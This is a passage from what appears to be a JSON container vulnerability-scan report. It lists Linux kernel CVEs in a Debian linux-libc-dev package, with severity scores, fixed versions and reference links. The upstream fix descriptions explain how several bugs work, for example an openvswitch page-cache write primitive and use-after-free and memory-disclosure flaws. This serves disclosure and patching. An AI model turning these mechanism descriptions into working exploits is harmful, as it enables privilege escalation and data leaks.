"https://bugzilla.redhat.com/2482129", "https://bugzilla.redhat.com/2482143", "https://bugzilla.redhat.com/2486979", "https://bugzilla.redhat.com/2492276", "https://bugzilla.redhat.com/2492364", "https://bugzilla.redhat.com/2492728", "https://bugzilla.redhat.com/2492853", "https://bugzilla.redhat.com/2502230", "https://bugzilla.redhat.com/2502241", "https://bugzilla.redhat.com/2502431", "https://bugzilla.redhat.com/2502444", "https://bugzilla.redhat.com/2514441", "https://bugzilla.redhat.com/2516306", "https://bugzilla.redhat.com/2516717", "https://bugzilla.redhat.com/2516998", "https://bugzilla.redhat.com/2517052", "https://bugzilla.redhat.com/2521375", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2524483", "https://bugzilla.redhat.com/2531066", "https://bugzilla.redhat.com/2532184", "https://bugzilla.redhat.com/2535140", "https://bugzilla.redhat.com/2536346", "https://bugzilla.redhat.com/2540479", "https://bugzilla.redhat.com/show_bug.cgi?id=2404123", "https://bugzilla.redhat.com/show_bug.cgi?id=2418819", "https://bugzilla.redhat.com/show_bug.cgi?id=2425013", "https://bugzilla.redhat.com/show_bug.cgi?id=2425209", "https://bugzilla.redhat.com/show_bug.cgi?id=2436789", "https://bugzilla.redhat.com/show_bug.cgi?id=2482129", "https://bugzilla.redhat.com/show_bug.cgi?id=2482143", "https://bugzilla.redhat.com/show_bug.cgi?id=2486979", "https://bugzilla.redhat.com/show_bug.cgi?id=2492276", "https://bugzilla.redhat.com/show_bug.cgi?id=2492364", "https://bugzilla.redhat.com/show_bug.cgi?id=2492728", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2502230", "https://bugzilla.redhat.com/show_bug.cgi?id=2502241", "https://bugzilla.redhat.com/show_bug.cgi?id=2502431", "https://bugzilla.redhat.com/show_bug.cgi?id=2502444", "https://bugzilla.redhat.com/show_bug.cgi?id=2514441", "https://bugzilla.redhat.com/show_bug.cgi?id=2516306", "https://bugzilla.redhat.com/show_bug.cgi?id=2516717", "https://bugzilla.redhat.com/show_bug.cgi?id=2516998", "https://bugzilla.redhat.com/show_bug.cgi?id=2517052", "https://bugzilla.redhat.com/show_bug.cgi?id=2521375", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2524483", "https://bugzilla.redhat.com/show_bug.cgi?id=2531066", "https://bugzilla.redhat.com/show_bug.cgi?id=2532184", "https://bugzilla.redhat.com/show_bug.cgi?id=2535140", "https://bugzilla.redhat.com/show_bug.cgi?id=2536346", "https://bugzilla.redhat.com/show_bug.cgi?id=2540479", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-50756", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-54048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40242", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23105", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45856", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45861", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53049", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53230", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63794", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63829", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63992", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72052", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72255", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74516", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74569", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74746", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89481", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90227", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97417", "https://errata.almalinux.org/8/ALSA-2026-75747.html", "https://errata.rockylinux.org/RLSA-2026:75747", "https://git.kernel.org/linus/6efbc52237facda35d2d874fe1765bb4839275d8%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89481.mbox", "https://git.kernel.org/stable/c/377aa04d7b3e73ffef6364818def188da8d6f025", "https://git.kernel.org/stable/c/3a0b05145053a5fad1a2ddb4e4d87b07385e63e5", "https://git.kernel.org/stable/c/3b3d27670c0c890ba7cf1bc3614cab61bde6d25c", "https://git.kernel.org/stable/c/49a4dcf57608ebf6432dbcb203ed25e7ed581445", "https://git.kernel.org/stable/c/6efbc52237facda35d2d874fe1765bb4839275d8", "https://git.kernel.org/stable/c/a4c3c7310156493797c920b10d8648c07aa05403", "https://git.kernel.org/stable/c/bc4013c7cce58d46f792c8c87bc8c8318a70190e", "https://git.kernel.org/stable/c/effe898669c5f69ed519d6339be01ee9cd91d1a4", "https://linux.oracle.com/cve/CVE-2026-89481.html", "https://linux.oracle.com/errata/ELSA-2026-76739.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89481", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89481" ], "PublishedDate": "2026-09-11T20:19:29.6Z", "LastModifiedDate": "2026-10-30T13:20:17.727Z" }, { "VulnerabilityID": "CVE-2026-89487", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89487", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:fafaf04cf839684810df131f330c8ccc51c45f90b0ab6a4235957050bcaa686d", "Title": "kernel: openvswitch: only skb_tx_error() a packet we are about to drop", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nopenvswitch: only skb_tx_error() a packet we are about to drop\n\nqueue_userspace_packet() borrows the packet skb -- it only copies it into\na private netlink message (user_skb) and does not own it; on return\ndo_execute_actions() keeps forwarding it through the flow's remaining\nactions. Its error path nevertheless calls skb_tx_error(skb), which via\nskb_zcopy_clear() does skb_shinfo(skb)-\u003eflags \u0026= ~SKBFL_ALL_ZEROCOPY,\nstripping SKBFL_SHARED_FRAG from that live skb (skb_tx_error()'s kerneldoc\nsays \"skb must be freed afterwards\").\n\nFor a MSG_ZEROCOPY skb carrying page-cache frags, SKBFL_SHARED_FRAG is\nwhat makes esp_input() skb_cow_data() before in-place AEAD; once it is\nstripped a later local ESP-in-UDP delivery decrypts in place over pages\nthe sender does not own -- an unprivileged page-cache write (the\n\"Fragnesia\" primitive).\ndo_execute_actions() ignores output_userspace()'s return value, so any\naction after a failed USERSPACE upcall inherits the stripped skb.\n\nMove the skb_tx_error() to the flow-miss drop path - the \"default\"\nbranch of ovs_dp_process_packet()'s switch(error), before kfree_skb().\n\nThe call has been here since commit 36d5fe6a0007 (\"core, nfqueue,\nopenvswitch: Orphan frags in skb_zerocopy and handle errors\") but was\nharmless until esp_input() began relying on SKBFL_SHARED_FRAG to gate\nin-place decrypt; only then did stripping it on a still-forwarded skb\nbecome a page-cache write primitive.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-89487", "https://git.kernel.org/linus/0dbc2398fca3bb33eda963849f865ddb1b3aa05e%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89487.mbox", "https://git.kernel.org/stable/c/0dbc2398fca3bb33eda963849f865ddb1b3aa05e", "https://git.kernel.org/stable/c/4477222e2916a18e273edc139c955ade6bbb7a69", "https://git.kernel.org/stable/c/48db11e115d1b232edc5591604adc6eda95cd545", "https://git.kernel.org/stable/c/4d5c460ef8754be1d43b16dbf02695b008b207d6", "https://git.kernel.org/stable/c/5d85eef222cfd28e73deed7402c100229e8b9e6e", "https://git.kernel.org/stable/c/5de5d554141a15b3f1f5c978fd9f7f4fd6d0600a", "https://git.kernel.org/stable/c/6767d70cf46f65807a6a4c4406a518e6c12e36ae", "https://git.kernel.org/stable/c/e41a59fc056f63a7a1f42788913c53cc48d744aa", "https://linux.oracle.com/cve/CVE-2026-89487.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89487", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89487" ], "PublishedDate": "2026-09-11T20:19:30.413Z", "LastModifiedDate": "2026-10-19T09:17:42.307Z" }, { "VulnerabilityID": "CVE-2026-89488", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89488", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:669fdcf2e95ee4316d4b3fc7617d6f2d0141729aefd524763c9b86f7735ac9da", "Title": "kernel: openvswitch: Fix CT limit teardown use-after-free", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nopenvswitch: Fix CT limit teardown use-after-free\n\nPacket processing uses CT limit state under RCU, while netns teardown\nfrees that state under ovs_mutex. The CT limit pointer was neither removed\nfrom readers nor protected by a grace period, allowing packet processing to\ndereference the freed state.\n\nAn unprivileged user can trigger this bug from a user and network\nnamespace, causing a slab-use-after-free in ovs_ct_execute() when the\nnetns is torn down.\n\nPublish the CT limit pointer through RCU, remove it before teardown, and\nwait for readers before freeing its contents. Keep ovs_mutex around\nindividual CT limit updates, and use the RCU read-side lock while GET\ntraverses the RCU-protected limit lists.\n\nNetns teardown detaches the RCU-protected CT limit state in the pernet\n.pre_exit callback while holding ovs_mutex. The pernet core guarantees an\nRCU grace period between the .pre_exit and .exit callbacks, so the .exit\ncallback completes the teardown without adding any extra synchronization.\n\nThe netlink command handlers do not need NULL checks because the userspace\nnetlink socket holds an active reference to its network namespace while a\nrequest is processed. The per-netns exit path therefore cannot run\nconcurrently with SET, DEL, or GET for that socket's namespace.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:95370", "https://access.redhat.com/security/cve/CVE-2026-89488", "https://bugzilla.redhat.com/2507721", "https://bugzilla.redhat.com/2513314", "https://bugzilla.redhat.com/2515351", "https://bugzilla.redhat.com/2515353", "https://bugzilla.redhat.com/2516278", "https://bugzilla.redhat.com/2516412", "https://bugzilla.redhat.com/2516674", "https://bugzilla.redhat.com/2521384", "https://bugzilla.redhat.com/2521419", "https://bugzilla.redhat.com/2524422", "https://bugzilla.redhat.com/2524442", "https://bugzilla.redhat.com/2524458", "https://bugzilla.redhat.com/2524475", "https://bugzilla.redhat.com/2532290", "https://bugzilla.redhat.com/2532407", "https://bugzilla.redhat.com/2552209", "https://bugzilla.redhat.com/show_bug.cgi?id=2507721", "https://bugzilla.redhat.com/show_bug.cgi?id=2513314", "https://bugzilla.redhat.com/show_bug.cgi?id=2515351", "https://bugzilla.redhat.com/show_bug.cgi?id=2515353", "https://bugzilla.redhat.com/show_bug.cgi?id=2516278", "https://bugzilla.redhat.com/show_bug.cgi?id=2516412", "https://bugzilla.redhat.com/show_bug.cgi?id=2516674", "https://bugzilla.redhat.com/show_bug.cgi?id=2521384", "https://bugzilla.redhat.com/show_bug.cgi?id=2521419", "https://bugzilla.redhat.com/show_bug.cgi?id=2524422", "https://bugzilla.redhat.com/show_bug.cgi?id=2524442", "https://bugzilla.redhat.com/show_bug.cgi?id=2524458", "https://bugzilla.redhat.com/show_bug.cgi?id=2524475", "https://bugzilla.redhat.com/show_bug.cgi?id=2532290", "https://bugzilla.redhat.com/show_bug.cgi?id=2532407", "https://bugzilla.redhat.com/show_bug.cgi?id=2552209", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64541", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68162", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68451", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68452", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72080", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72221", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72222", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74588", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74752", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80553", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80571", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80584", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89479", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89488", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98403", "https://errata.almalinux.org/9/ALSA-2026-95370.html", "https://errata.rockylinux.org/RLSA-2026:95370", "https://git.kernel.org/linus/403f96c32c9e24600093d7d0c61c17daeedca957%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89488.mbox", "https://git.kernel.org/stable/c/239f26589a6926db28c436e14f28517581ef1385", "https://git.kernel.org/stable/c/3b41d907400cc1dd1da9555b81dca422b1f44433", "https://git.kernel.org/stable/c/3b9369881b403f4cdbb11fa998554382bdcc3d8c", "https://git.kernel.org/stable/c/403f96c32c9e24600093d7d0c61c17daeedca957", "https://git.kernel.org/stable/c/680f20d5937fa4d1367c59fe83091b78041015f5", "https://git.kernel.org/stable/c/6a6d36fadb8537d9b79e72c9fa51885ec0c33e10", "https://git.kernel.org/stable/c/bf4aaa7ea2579e24ed7de2e20578a875bebca011", "https://git.kernel.org/stable/c/e15407c3a8a005324f633cd46cd8fb58042c1157", "https://linux.oracle.com/cve/CVE-2026-89488.html", "https://linux.oracle.com/errata/ELSA-2026-95370.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89488", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89488" ], "PublishedDate": "2026-09-11T20:19:30.557Z", "LastModifiedDate": "2026-10-19T09:17:42.48Z" }, { "VulnerabilityID": "CVE-2026-89508", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89508", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:984096d2d9f61b1ef9f363ffaeea2c54d310b5c0c5ea26bb51465f0ad42d901e", "Title": "kernel: RDMA/ucma: Lock the handler in ucma_set_ib_path()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/ucma: Lock the handler in ucma_set_ib_path()\n\nucma_set_ib_path() calls ucma_event_handler() straight from the write()\npath, without the handler lock that keeps ctx-\u003efile stable while a uevent\nis queued. The handler re-reads ctx-\u003efile for every dereference:\n\n\tmutex_lock(\u0026ctx-\u003efile-\u003emut);\t\t\t/* file A */\n\tlist_add_tail(\u0026uevent-\u003elist, \u0026ctx-\u003efile-\u003eevent_list);\t/* file B */\n\tmutex_unlock(\u0026ctx-\u003efile-\u003emut);\t\t\t/* file B */\n\twake_up_interruptible(\u0026ctx-\u003efile-\u003epoll_wait);\t/* file B */\n\nA concurrent ucma_migrate_id() reassigns ctx-\u003efile while the SET_OPTION\ncaller sleeps in mutex_lock(), so the list_add_tail() lands on file B's\nevent_list while only file A's mutex is held, racing every other user of\nthat list:\n\n BUG: KASAN: slab-use-after-free in __list_add_valid_or_report+0x1aa/0x1c0\n Read of size 8 at addr ffff888153c6a418 by task poc_corr/486\n Call Trace:\n __list_add_valid_or_report+0x1aa/0x1c0\n ucma_event_handler+0x1be/0xc00\n ucma_set_ib_path+0x45e/0x710\n ucma_set_option+0x32e/0x590\n ucma_write+0x1f9/0x330\n Allocated by task 505:\n ucma_write_cm_event+0x1a1/0x660\n Freed by task 505:\n kfree+0x1da/0x4c0\n ucma_get_event+0x5d5/0x7e0\n\nThe freed object is a ucma_event that another thread dequeued from file B's\nlist under file B's mutex. File A's mut is left held on top of that,\nwedging its next writer in uninterruptible sleep.\n\nThis path needs a bound and address-resolved cm_id, so it requires an RDMA\ndevice to be present.\n\nTake the handler lock around the call.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-89508", "https://git.kernel.org/linus/ecbe7d36dc2de07e5dfbb4a8ff5b315ab43de820%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89508.mbox", "https://git.kernel.org/stable/c/28ac2dd416482d1c763c4af5d61af465b387fb50", "https://git.kernel.org/stable/c/3dd07b369371a2f29e1c3caf1ade85bb92b4c551", "https://git.kernel.org/stable/c/43a7d8ae9f645dc00235cfa4bf57673c20b769f8", "https://git.kernel.org/stable/c/71dc206f2e2a645dac78879768762451aa1799f7", "https://git.kernel.org/stable/c/764586f8f6180084c5a7d622120f526acc6ce0c9", "https://git.kernel.org/stable/c/a7f8d26e653ee43b0b572984b8ec544d3b3b6f3c", "https://git.kernel.org/stable/c/b2da0d488a1c72956ebb0a57015ee8ee6a2f7748", "https://git.kernel.org/stable/c/ecbe7d36dc2de07e5dfbb4a8ff5b315ab43de820", "https://linux.oracle.com/cve/CVE-2026-89508.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89508", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89508" ], "PublishedDate": "2026-09-11T20:19:33.143Z", "LastModifiedDate": "2026-10-19T09:17:45.06Z" }, { "VulnerabilityID": "CVE-2026-89524", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89524", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:527e105bb16d9df8478e2f1dca02f25eca15212801413c7de79e59c9a9ec732c", "Title": "kernel: wifi: ath6kl: clamp assoc request/response lengths before subtracting IE offsets", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: ath6kl: clamp assoc request/response lengths before subtracting IE offsets\n\nath6kl_cfg80211_connect_event() subtracts fixed IE offsets from\nassoc_req_len (-= 4) and assoc_resp_len (-= 6), both u8, with no lower\nbound. The aggregate check recently added to ath6kl_wmi_connect_event_rx()\nbounds the declared lengths from above (their sum must fit the received\nevent), but an assoc request/response shorter than its fixed offset still\nunderflows here: the u8 wraps to ~250, and cfg80211_connect_result() /\ncfg80211_roamed() then treat that wrapped value as the IE length and copy\nthat many bytes out of the small assoc_info buffer to user space via\nnl80211, disclosing adjacent slab memory.\n\nClamp both lengths to their offsets before subtracting.\n\nFound by 0sec (https://0sec.ai) using automated source analysis; the\nmissing lower bound is evident from source. Compile-tested.", "Severity": "HIGH", "VendorSeverity": { "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-89524", "https://git.kernel.org/linus/3bbd05723d15dd06f0560bcd94fbf9a91b5f5613%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89524.mbox", "https://git.kernel.org/stable/c/225587bdbf4b0eb5265a71ee4dc183561a1857fc", "https://git.kernel.org/stable/c/3bbd05723d15dd06f0560bcd94fbf9a91b5f5613", "https://git.kernel.org/stable/c/6deb4d7a0c3d91821b2a8d5239e3d9933d9217d9", "https://git.kernel.org/stable/c/8eb73016fb3968cf2db3987a92764563a3af773a", "https://git.kernel.org/stable/c/d337213a889705a69735079606d0b4c672b17605", "https://git.kernel.org/stable/c/e11d5ae96d5e52cb48fa27c6ad352d766d0322fb", "https://git.kernel.org/stable/c/e1330d719c047c4d8190a16be034b29fc601a815", "https://git.kernel.org/stable/c/e3619bed5da125713b29ac881dc66f5e06606f88", "https://linux.oracle.com/cve/CVE-2026-89524.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89524", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89524" ], "PublishedDate": "2026-09-11T20:19:35.137Z", "LastModifiedDate": "2026-10-19T09:17:46.873Z" }, { "VulnerabilityID": "CVE-2026-89526", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89526", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f99f0b3a0fcfcbd99a5c2a7aca83fe71d671b6aab3580c21bd2c90cad1ffe6b6", "Title": "kernel: svcrdma: Validate Read chunk positions before reconstruction", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsvcrdma: Validate Read chunk positions before reconstruction\n\nThe RPC/RDMA Read chunk position field is supplied by the remote\nclient and stored verbatim in the parsed chunk list.\nxdr_count_read_segments() checks only 4-byte alignment; it never\ncompares the position against the received inline body length.\n\nIn the single-chunk path, svc_rdma_read_complete_one() splits the\nhead and tail kvecs at ch_position. A position past the inline\nbody underflows the tail length, exposing adjacent slab memory to\nthe upper XDR decoder.\n\nIn the multi-chunk path, svc_rdma_read_multiple_chunks() computes\ngap lengths between chunks as unsigned subtractions from\nch_position. Overlapping Read chunks cause these subtractions to\nunderflow. A final position past the inline body likewise\nunderflows the trailing gap length. svc_rdma_copy_inline_range()\nthen copies past the receive buffer into request pages that are\nreturned to the client through the Reply channel.\n\nBound inline-range copies in svc_rdma_copy_inline_range() against\nthe decoded inline RPC body saved in rc_saved_arg. Reject a\nsingle Read chunk positioned beyond that body, and reject\nmulti-chunk lists where accumulated read bytes exceed the next\nchunk's position. Apply the same position and overlap checks in\nthe call-chunk interleaving path.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "azure": 4, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:83156", "https://access.redhat.com/security/cve/CVE-2026-89526", "https://bugzilla.redhat.com/2486979", "https://bugzilla.redhat.com/2492286", "https://bugzilla.redhat.com/2502460", "https://bugzilla.redhat.com/2513234", "https://bugzilla.redhat.com/2513277", "https://bugzilla.redhat.com/2513293", "https://bugzilla.redhat.com/2513299", "https://bugzilla.redhat.com/2516526", "https://bugzilla.redhat.com/2516575", "https://bugzilla.redhat.com/2516606", "https://bugzilla.redhat.com/2521436", "https://bugzilla.redhat.com/2521498", "https://bugzilla.redhat.com/2532279", "https://bugzilla.redhat.com/2532309", "https://bugzilla.redhat.com/2535158", "https://bugzilla.redhat.com/2540182", "https://bugzilla.redhat.com/2540230", "https://bugzilla.redhat.com/show_bug.cgi?id=2486979", "https://bugzilla.redhat.com/show_bug.cgi?id=2492286", "https://bugzilla.redhat.com/show_bug.cgi?id=2502460", "https://bugzilla.redhat.com/show_bug.cgi?id=2513234", "https://bugzilla.redhat.com/show_bug.cgi?id=2513277", "https://bugzilla.redhat.com/show_bug.cgi?id=2513293", "https://bugzilla.redhat.com/show_bug.cgi?id=2513299", "https://bugzilla.redhat.com/show_bug.cgi?id=2516526", "https://bugzilla.redhat.com/show_bug.cgi?id=2516575", "https://bugzilla.redhat.com/show_bug.cgi?id=2516606", "https://bugzilla.redhat.com/show_bug.cgi?id=2521436", "https://bugzilla.redhat.com/show_bug.cgi?id=2521498", "https://bugzilla.redhat.com/show_bug.cgi?id=2532279", "https://bugzilla.redhat.com/show_bug.cgi?id=2532309", "https://bugzilla.redhat.com/show_bug.cgi?id=2532515", "https://bugzilla.redhat.com/show_bug.cgi?id=2535158", "https://bugzilla.redhat.com/show_bug.cgi?id=2540182", "https://bugzilla.redhat.com/show_bug.cgi?id=2540230", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64030", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68140", 